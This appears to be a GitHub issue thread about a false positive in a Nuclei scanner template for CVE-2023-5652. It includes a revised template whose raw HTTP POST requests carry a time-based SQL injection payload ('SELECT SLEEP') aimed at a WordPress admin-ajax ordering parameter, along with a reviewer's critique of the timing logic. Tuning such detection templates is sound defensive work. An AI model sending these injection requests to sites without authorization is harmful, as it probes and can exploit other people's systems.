[FALSE-POSITIVE] CVE-2023-5652

[PineApple-Logic]

Template IDs or paths

- CVE-2023-5652

Environment

- OS: Fedoria 
- Nuclei: 3.7.1
- Go: 1.25.8

Steps To Reproduce

1. During testing, it was noticed that if the server took longer than 8 seconds to reasoned it would return with a false positive.
2. It was also noticed that the first request to a WordPress site took up to 13 seconds.

Relevant dumped responses

I took the time to test and develop a more reliable version of the extension. Please have a look and let me know if this can be pushed to the main branch.

Possible solution:

http:
  
  - raw:
      # Request warming. First Wordpress request can take considably long to response to.
      - |
        @timeout: 30s
        POST /wp-admin/admin-ajax.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded; charset=UTF-8

        action=x&taxonomy=hb_room_type&hb_room_type_ordering[1]=0 END, name=(SELECT SLEEP(0)), term_id=CASE when 1=1 THEN 1
      
      - |
        @timeout: 30s
        POST /wp-admin/admin-ajax.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded; charset=UTF-8

        action=x&taxonomy=hb_room_type&hb_room_type_ordering[1]=0 END, name=(SELECT SLEEP(0)), term_id=CASE when 1=1 THEN 1
      - |
          @timeout: 30s
          POST /wp-admin/admin-ajax.php HTTP/1.1
          Host: {{Hostname}}
          Content-Type: application/x-www-form-urlencoded; charset=UTF-8

          action=x&taxonomy=hb_room_type&hb_room_type_ordering[1]=0 END, name=(SELECT SLEEP(4)), term_id=CASE when 1=1 THEN 1

    req-condition: true
    matchers:
      - type: dsl
        condition: and
        dsl:
          - 'to_number(duration_3) >= to_number((duration_2 + 2))'
          - 'status_code_2 == 400'
          - 'contains(content_type_2, "text/html")'

    extractors:
      - type: dsl
        dsl:
          - duration_2
          - duration_3

Anything else?

No response

[Eren-Akdag]

Hey, same issue here — opened a PR with a fix: #15954

Your approach is basically the right idea but I think there are a few things worth fixing:

3 request instead of 2

Request 1 and 2 are both SLEEP(0), literally identical. You're burning an extra request just for warm-up. In my fix Request 1 is already the warm-up AND the baseline, so you get the same effect with one less round trip.

The +2 threshold is too loose

SLEEP(4) + 2s threshold

A 2 second difference between two consecutive requests is pretty normal server variance, especially on a slow host. That's basically asking for false positives. I went with SLEEP(8) + 6 — a 6 second gap between two back-to-back requests to the same endpoint is hard to explain without SLEEP actually running.

You're checking the wrong request index

- 'status_code_2 == 400'
- 'contains(content_type_2, "text/html")'

The payload is in Request 3 but you're validating Request 2's response here. Bit of a logic bug.

Body check is missing

Original template had regex("^0$", body) — your solution drops it. Mine keeps it.

---

Anyway, the fix in the PR is cleaner IMO — same concept, 2 requests, tighter margin. Take a look if you're curious.